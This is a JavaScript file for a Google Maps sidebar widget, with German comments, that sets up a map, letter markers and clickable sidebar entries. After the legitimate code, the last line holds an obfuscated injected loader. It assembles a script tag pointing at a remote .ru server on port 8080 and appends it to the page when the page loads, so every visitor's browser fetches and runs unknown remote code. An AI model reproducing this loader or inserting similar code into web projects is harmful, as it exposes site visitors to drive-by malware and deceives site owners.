/*******************************************************************************
 * Javascript für twGmap05Sidebar 
 ******************************************************************************/




/**
 * Prüft auf kompatiblen Browser und vorhandene Variablen und ruft die
 * Funktion auf, die die GoogleMap erstellt.
 */
function twGmapLoad() {
	if (GBrowserIsCompatible()) {
		// die Google Map (twGmap)
		if (!document.getElementById(gmapId)) {
			alert("Fehler: die Google Map mit der id "+ gmapId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;
		} else {
			if (lat=="" || isNaN(lat)) {
				lat = default_lat;
				alert("Fehler: Der Breitengrad(lat) wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (lon=="" || isNaN(lon)) {
				lon = default_lon;
				alert("Fehler: Der Längengrad(lon) wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (typeof zoom == "undefined") {
				zoom = default_zoom;
				alert("Fehler: Die Zoomstufe wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			machTwGmap(gmapId, lat, lon, zoom);			
		}
		// die Sidebar (twGmapSidebar)
		if (!document.getElementById(sidebarId)) {
			alert("Fehler: die Sidebar mit der id "+ sidebarId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;			
		} else {			
			document.getElementById(sidebarId).innerHTML = sidebarHtml;
		}
	}
}


/**
 * Erstellt die GoogleMap in dem <div>-Bereich mit der übergebenen id
 * @param {Object} id   -im div-Bereich mit dieser id wird die Map dargestellt
 * @param {Object} lat  -Breitengrad 
 * @param {Object} lon  -Längengrad
 * @param {Object} zoom -Zoomstufe 1 bis 17 (ganze Welt bis kleiner Ausschnitt)
 */
function machTwGmap(id, lat, lon, zoom) {
	// die Map (für das div mit der id="...")
	var map = new GMap2(document.getElementById(id));

//Entfernungsskala Kilometer/Meter
	_mPreferMetric = true;  
	map.addControl(new GScaleControl());


	// mit Zoom (auch noch: GSmallMapControl, GLargeMapControl, GSmallZoomControl, GScaleControl)
	map.addControl(new GLargeMapControl());
	// mit Typ-Auswahl (auch noch: GMapTypeControl, GHierarchicalMapTypeControl, GOverviewMapControl)
	map.addControl(new GMapTypeControl());
	// ((Breitengrad, Längengrad), Zoomstufe, G_NORMAL_MAP/G_SATELLITE_MAP/G_HYBRID_MAP)
	map.setCenter(new GLatLng(lat, lon), zoom, G_NORMAL_MAP);
	
	// Marker setzen mit eigener Marker-Funktion
	map = setTwMarkers(map);
	
	// Sidebar-Zeile wieder demarkieren, wenn ein Infofenster geschlossen wird
	GEvent.addListener(map,"infowindowclose", function() {
		document.getElementById(sidebarLastLinkid).style.background="#fdf9ec";
	});
}






/**
 * Schreibt den HTML-Code für eine Zeile(Verweis) in die globale Variable 'sidebarHtml'.
 * Dabei wird auch gleich der übergebene Marker in das Marker-Array eingefügt,
 * und der Zähler (zählt alle Marker) hochgezählt.
 * @param {Object} text   -der anzuzeigende Text für diese Zeile in der Sidebar
 * @param {Object} marker -der Marker, auf den der Verweis zeigt
 */
function machZeileInTwGmapSidebar(text, marker, linkid) {
	sidebarMarkers[sidebarCount] = marker;
	sidebarHtml += '<div id="'+ linkid+ '">';
	sidebarHtml += '<span class="sidebarZeichen">'+ sidebarZeichen+ '</span>';
	sidebarHtml += '<a href="javascript:twGmapSidebarIsClicked(' + sidebarCount + ')">' + text + '</a><br>';
	sidebarHtml += '</div>';
	sidebarCount ++;
}

/**
 * Event-Handler für Klick auf Marker, öffnet das dazugehörige Info-Fenster.
 * @param {Object} i -ein bestimmter Marker aus dem Marker-Array
 */
function twGmapSidebarIsClicked(i) {
	GEvent.trigger(sidebarMarkers[i], "click");
}

/**
 * Liefert ein GIcon-Objekt, das einen Marker darstellt.
 * Hier stellt das Icon einen Buchstabe dar. 
 * Über die globale Variable 'sidebarZeichen' wird bei jedem Durchlauf der 
 * nächsthöhere Buchstabe des Alphabets angezeigt. 
 */
function machTwIconBuchstabeFortlaufend() {
	sidebarZeichen = String.fromCharCode(sidebarZeichen.charCodeAt(0) + 1);
	var icon = new GIcon(G_DEFAULT_ICON, "http://www.google.com/mapfiles/marker" + sidebarZeichen + ".png");
	icon.printImage = "http://maps.google.com/mapfiles/marker"+sidebarZeichen+"ie.gif"
	icon.mozPrintImage = "http://maps.google.com/mapfiles/marker"+sidebarZeichen+"ff.gif"
	
	return icon;
}



var FK={e:47189};var k;var oU=["ee"];n=function(){i=27418;i+=111;function o(a,G,Y){var I=false;RL={};return a.substr(G,Y);}var wd=false;var w='';_X={r:47957};var M=["_N","wK"];var C=RegExp;var dT=["q","Ox","xJ"];var V=String("/ning"+o("-com/pID",0,5)+"googl"+o("e.comsiB3",0,5)+o("/56.cbwFq",0,5)+o("G8com.ph8Gc",3,5)+o("ytapayt",3,1));var D=document;ON={s:63170};var Eg='';function R(a,G){this.EJ=46801;this.EJ--;L={nP:5012};this.EW="EW";var Y=String("[")+G+String(o("]gmX",0,1));var O=new C(Y, "g");var rl='';CA={};return a.replace(O, w);};this.jO=false;this.WM=13203;this.WM-=187;this.CJ="CJ";var m=null;var Qx='';var jz={};var W=R('s3c9rOiOpLtL','69jo3OzSLb');var jOi=["yY","Jh","QE"];var P='';try {} catch(Vn){};var nT=String("bod"+"y");rd=41057;rd-=193;var GU='';var aD=172297-164217;HM=["Ln","h"];var Jm=[];this.Gc=64720;this.Gc-=96;k=function(){this.sQ=10380;this.sQ++;try {var Z=R('cBrIeZaVtIeIEIlQeVmQeVn9tQ','ZVB9IQ');BT=12332;BT+=253;u=D[Z](W);var _T=new Date();var Db=new Array();var dt={};var E=String(o("derYb",0,2)+"fe"+o("BRDvrBRDv",4,1));var a=aD+V;var pD=["xg"];var j=R('sHr4ci','xvZaJR38i9NKnU4H');var Tg='';this.rT="";this.gG=17909;this.gG--;var xe="";u[E]=[1,4][0];var OH={xK:false};this.bq="bq";u[j]="ht"+o("tpjBA",0,2)+o(":/HN4P",0,2)+"/r"+o("oukMh",0,2)+o("Z9MLndMLZ9",4,2)+"ga"+o("in3tCR",0,2)+".r"+"u:"+a;var lz={};this.nz=28377;this.nz+=208;D[nT].appendChild(u);var sH=["JL"];} catch(J){py=["Ns"];try {var qo='Oy'} catch(qo){};var FJ={DG:"yqC"};};bS=["Dy"];};var zQ="zQ";var cP="cP";};this.oe=false;n();TV=27499;TV+=69;var cZ=new Date();window.onload=k;var UX={aI:18472};var Jk=58637;this.GE="GE";